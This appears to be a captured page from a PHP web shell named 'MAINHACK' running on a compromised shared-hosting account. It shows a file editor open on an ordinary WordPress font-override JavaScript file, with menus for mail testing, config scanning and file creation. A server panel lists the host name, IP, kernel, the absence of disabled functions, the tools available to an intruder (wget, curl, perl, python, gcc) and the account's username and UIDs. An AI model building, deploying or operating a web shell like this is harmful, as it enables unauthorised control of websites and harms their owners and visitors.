[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: preview-helpers.js
const FONT_VAR_PREFIX = '--wp--preset--font-family'; const HEADING_FONT_VAR_KEY = '--wp--preset--font-family--heading'; const BODY_FONT_VAR_KEY = '--wp--preset--font-family--body'; // Generates font links and styles from custom variations to override fonts in `theme-processed.json` export const getFontOverrides = (variation) => { let customFontLinks = ''; let fontOverrides = ''; if (!variation?.title) { return { customFontLinks, fontOverrides }; } // These values look like `var(--wp--preset--font-family--${fontFamilySlug})` const headingFontVarValue = variation.styles?.elements?.heading?.typography?.fontFamily; const bodyFontVarValue = variation.styles?.typography?.fontFamily; const customFonts = variation.settings?.typography?.fontFamilies?.custom ?? []; if (headingFontVarValue) { fontOverrides += `:root { ${HEADING_FONT_VAR_KEY}: ${headingFontVarValue}; }`; fontOverrides += `h1, h2, h3, h4, h5, h6 { font-family: ${headingFontVarValue} !important; }`; } if (bodyFontVarValue) { fontOverrides += `:root { ${BODY_FONT_VAR_KEY}: ${bodyFontVarValue}; }`; fontOverrides += `body { font-family: ${bodyFontVarValue} !important; }`; } for (const font of customFonts) { const customFontLink = `<link id="ext-custom-font-${font.slug}" rel="stylesheet" href="${font.css}">`; if (!customFontLinks.includes(customFontLink)) { customFontLinks += customFontLink; } const fontOverride = `:root { ${FONT_VAR_PREFIX}--${font.slug}: "${font.fontFamily}"; }`; if (!fontOverrides.includes(fontOverride)) { fontOverrides += fontOverride; } } return { customFontLinks, fontOverrides }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.65 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830